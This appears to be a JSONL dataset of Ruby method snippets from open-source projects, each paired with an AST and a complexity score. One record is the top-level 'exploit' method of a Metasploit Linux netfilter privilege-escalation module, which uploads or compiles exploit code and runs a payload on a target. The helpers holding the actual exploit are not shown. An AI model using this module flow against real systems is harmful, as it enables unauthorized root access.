{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/i18n_test.rb","start_line":74,"raw_source":"def test_time_pm\n    assert_equal \"pm\", I18n.translate(:'time.pm')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_pm\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"pm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"translate\",{\"type\":\"sym\",\"children\":[\"time.pm\"]}]}]}]}","id":"373751dd-4b1b-44cb-b00f-b3d944b23f65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/animated_icon_component.rb","start_line":26,"raw_source":"def initialize(icon: :chevron_down_up, variant: :current, is_on: false, icon_options: {})\n      @icon = filter_attribute(icon.to_sym, ICONS)\n      @variant = filter_attribute(variant&.to_sym, VARIANT_CLASSES.keys, default: :current)\n      @is_on = is_on\n      @icon_options = icon_options\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"icon\",{\"type\":\"sym\",\"children\":[\"chevron_down_up\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"variant\",{\"type\":\"sym\",\"children\":[\"current\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"is_on\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"icon_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@icon\",{\"type\":\"send\",\"children\":[null,\"filter_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon\"]},\"to_sym\"]},{\"type\":\"const\",\"children\":[null,\"ICONS\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@variant\",{\"type\":\"send\",\"children\":[null,\"filter_attribute\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variant\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VARIANT_CLASSES\"]},\"keys\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"sym\",\"children\":[\"current\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@is_on\",{\"type\":\"lvar\",\"children\":[\"is_on\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@icon_options\",{\"type\":\"lvar\",\"children\":[\"icon_options\"]}]}]}]}","id":"77e95b36-fcde-4b82-a5c0-5b315be2d14c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/dependencies.rb","start_line":88,"raw_source":"def self.search_for_file(relpath)\n      relpath += \".rb\" unless relpath.end_with?(\".rb\")\n      autoload_paths.each do |autoload_path|\n        abspath = File.join(autoload_path, relpath)\n        return abspath if File.file?(abspath)\n      end\n      nil\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"search_for_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relpath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relpath\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".rb\"]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relpath\"]},\"+\",{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autoload_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"autoload_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"abspath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"autoload_path\"]},{\"type\":\"lvar\",\"children\":[\"relpath\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"abspath\"]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"15a171ff-aabb-4d3b-9f26-b6cb91f49624"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":247,"raw_source":"def edit_blob_fork_params(path, with_notice: true)\n    {\n      to: path,\n      notice: (edit_in_new_fork_notice if with_notice),\n      notice_now: (edit_in_new_fork_notice_now if with_notice)\n    }.compact\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_blob_fork_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"with_notice\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_notice\"]},{\"type\":\"send\",\"children\":[null,\"edit_in_new_fork_notice\"]},null]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice_now\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_notice\"]},{\"type\":\"send\",\"children\":[null,\"edit_in_new_fork_notice_now\"]},null]}]}]}]},\"compact\"]}]}","id":"1c5284c2-ca56-4fc3-8f50-0a4290723aad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/destroy_service.rb","start_line":19,"raw_source":"def track_note_removal_usage_for_issues(note)\n      Gitlab::UsageDataCounters::IssueActivityUniqueCounter.track_issue_comment_removed_action(\n        author: note.author,\n        project: project\n      )\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"track_note_removal_usage_for_issues\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"IssueActivityUniqueCounter\"]},\"track_issue_comment_removed_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"author\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}","id":"5f25b1b1-5618-44a9-a0f0-01df47256ba0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/pam_authenticable.rb","start_line":21,"raw_source":"def pam_get_name\n      if account.present?\n        account.username\n      else\n        super\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pam_get_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"username\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"7f86bc2e-005e-4882-b119-5714b5a51968"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/inverse_methods.rb","start_line":155,"raw_source":"def negated?(node)\n          node.parent.respond_to?(:method?) && node.parent.method?(:!)\n        end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"negated?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"method?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"method?\",{\"type\":\"sym\",\"children\":[\"!\"]}]}]}]}","id":"44aded32-a906-4cff-92d6-d52f7e8bdbd4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_exec_filter.rb","start_line":286,"raw_source":"def run(io)\n      io.set_encoding(Encoding::ASCII_8BIT)\n      case\n      when @parser.implement?(:parse_io)\n        @parser.parse_io(io, &method(:on_record))\n      when @parser.implement?(:parse_partial_data)\n        until io.eof?\n          @parser.parse_partial_data(io.readpartial(@read_block_size), &method(:on_record))\n        end\n      when @parser.parser_type == :text_per_line\n        io.each_line do |line|\n          @parser.parse(line.chomp, &method(:on_record))\n        end\n      else\n        @parser.parse(io.read, &method(:on_record))\n      end\n    end","complexity_score":35.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"set_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"ASCII_8BIT\"]}]},{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"implement?\",{\"type\":\"sym\",\"children\":[\"parse_io\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"parse_io\",{\"type\":\"lvar\",\"children\":[\"io\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"on_record\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"implement?\",{\"type\":\"sym\",\"children\":[\"parse_partial_data\"]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"eof?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"parse_partial_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"readpartial\",{\"type\":\"ivar\",\"children\":[\"@read_block_size\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"on_record\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"parser_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"text_per_line\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"chomp\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"on_record\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"read\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"on_record\"]}]}]}]}]}]}]}","id":"e75d0d09-3e8b-49d0-9c4a-8ffb2e780650"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gestioip_exec.rb","start_line":72,"raw_source":"def use_auth\n    !(pass.nil? or pass.empty?)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"use_auth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pass\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pass\"]},\"empty?\"]}]}]},\"!\"]}]}","id":"6bae6039-e9a7-4ff3-8780-7234ea0c5a2b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_service.rb","start_line":650,"raw_source":"def pages_domain_auto_ssl_failed(domain)\n    project_maintainers_recipients(domain, action: 'disabled').each do |recipient|\n      mailer.pages_domain_auto_ssl_failed_email(domain, recipient.user).deliver_later\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pages_domain_auto_ssl_failed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_maintainers_recipients\",{\"type\":\"lvar\",\"children\":[\"domain\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"disabled\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"recipient\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailer\"]},\"pages_domain_auto_ssl_failed_email\",{\"type\":\"lvar\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"user\"]}]},\"deliver_later\"]}]}]}","id":"6c71b31d-c665-491c-b9d0-fe78fbc038a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/member.rb","start_line":599,"raw_source":"def send_invitation_reminder(reminder_index)\n    return unless invite?\n\n    generate_invite_token! unless @raw_invite_token\n\n    run_after_commit_or_now do\n      Members::InviteReminderMailer.email(self, @raw_invite_token, reminder_index).deliver_later\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"send_invitation_reminder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reminder_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invite?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_invite_token\"]},null,{\"type\":\"send\",\"children\":[null,\"generate_invite_token!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_after_commit_or_now\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"InviteReminderMailer\"]},\"email\",{\"type\":\"self\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@raw_invite_token\"]},{\"type\":\"lvar\",\"children\":[\"reminder_index\"]}]},\"deliver_later\"]}]}]}]}","id":"8910408d-a6b0-4cdc-a70f-ae597edb518e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cli/command/execute_runner.rb","start_line":42,"raw_source":"def with_redirect\n          if @options[:stderr]\n            orig_stdout = $stdout\n            begin\n              $stdout = $stderr\n              yield\n            ensure\n              $stdout = orig_stdout\n            end\n          else\n            yield\n          end\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redirect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stderr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"orig_stdout\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"gvasgn\",\"children\":[\"$stdout\",{\"type\":\"gvar\",\"children\":[\"$stderr\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"gvasgn\",\"children\":[\"$stdout\",{\"type\":\"lvar\",\"children\":[\"orig_stdout\"]}]}]}]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"db3d2a85-8f38-4885-98c2-240cd9d2326e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":989,"raw_source":"def password_validator\n    PasswordValidator.new(attributes: :password).validate_each(self, :password, @raw_password)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"password_validator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PasswordValidator\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]},\"validate_each\",{\"type\":\"self\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"ivar\",\"children\":[\"@raw_password\"]}]}]}","id":"55d6a919-bde4-44f3-8afa-d81d551b7028"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/runner.rb","start_line":93,"raw_source":"def build_initial_args\n        [].tap do |args|\n          args.push('--tty') if tty\n          args.push(rspec_tags.flat_map { |tag| [\"--tag\", tag] })\n          args.push(options - custom_spec_paths)\n        end\n      end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"build_initial_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tty\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"push\",{\"type\":\"str\",\"children\":[\"--tty\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"push\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rspec_tags\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--tag\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"push\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"custom_spec_paths\"]}]}]}]}]}]}","id":"a7cb877f-c063-4575-8146-1f18eef278e6"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/block_delimiters.rb","start_line":418,"raw_source":"def semantic_block_style?(node)\n          method_name = node.method_name\n\n          if node.braces?\n            functional_method?(method_name) || functional_block?(node) ||\n              (procedural_oneliners_may_have_braces? && !node.multiline?)\n          else\n            procedural_method?(method_name) || !return_value_used?(node)\n          end\n        end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"semantic_block_style?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"braces?\"]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"functional_method?\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"send\",\"children\":[null,\"functional_block?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"procedural_oneliners_may_have_braces?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"multiline?\"]},\"!\"]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"procedural_method?\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"return_value_used?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]}]}]}]}]}","id":"9938af2d-fcc5-4bde-9eae-53f0d74644de"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/model.rb","start_line":97,"raw_source":"def self.find_class(model_data)\n        # Initialize cache\n        @types_cache ||= {}\n\n        # Find class in cache\n        type_string = model_data[\"type\"]\n        type_class = @types_cache[type_string]\n        return type_class if type_class\n\n        # Find class in array\n        type_class = @types.find do |type|\n          type.type == type_string\n        end\n\n        # Cache and return class\n        @types_cache[type_string] = type_class\n        return type_class\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@types_cache\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"type_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type_class\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@types_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type_string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_class\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_class\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"type_class\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@types\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"type\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"type_string\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@types_cache\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"type_string\"]},{\"type\":\"lvar\",\"children\":[\"type_class\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type_class\"]}]}]}]}","id":"1abc66eb-a816-4102-956f-9556663c65b2"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_attachable/lib/acts_as_attachable.rb","start_line":190,"raw_source":"def attachments_deletable?(user = User.current)\n            return false if modification_blocked?\n\n            allowed_to_on_attachment?(user, self.class.attachable_options[:delete_permission])\n          end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"attachments_deletable?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"modification_blocked?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"allowed_to_on_attachment?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"attachable_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delete_permission\"]}]}]}]}]}","id":"1a8f8c41-45ca-4381-86ad-e0ef97a07ffb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/configuration.rb","start_line":93,"raw_source":"def load_balancing_enabled?\n          return false if Gitlab::Runtime.rake?\n\n          hosts.any? || service_discovery_enabled?\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"load_balancing_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Runtime\"]},\"rake?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hosts\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"service_discovery_enabled?\"]}]}]}]}","id":"0b919bed-430c-454c-bf62-e6cd1879919a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/netfilter_nft_set_elem_init_privesc.rb","start_line":206,"raw_source":"def exploit\n    module_check unless datastore['ForceExploit']\n\n    if datastore['COMPILE'] == 'True' || (datastore['COMPILE'] == 'Auto' && command_exists?('make'))\n      print_status('Uploading the exploit source code')\n      upload_source\n      print_status('Compiling the exploit source code')\n      compile_source\n    else\n      print_status('Dropping pre-compiled binaries to system...')\n      upload_exploit_binary\n    end\n    print_status('Uploading payload...')\n    upload_payload_binary\n    print_status('Running payload on remote system...')\n    run_payload\n  end","complexity_score":27.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ForceExploit\"]}]},null,{\"type\":\"send\",\"children\":[null,\"module_check\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMPILE\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"True\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMPILE\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"Auto\"]}]},{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"make\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading the exploit source code\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_source\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Compiling the exploit source code\"]}]},{\"type\":\"send\",\"children\":[null,\"compile_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Dropping pre-compiled binaries to system...\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_exploit_binary\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"upload_payload_binary\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Running payload on remote system...\"]}]},{\"type\":\"send\",\"children\":[null,\"run_payload\"]}]}]}","id":"9f73b090-bffc-4c0e-a426-844125d21e59"}
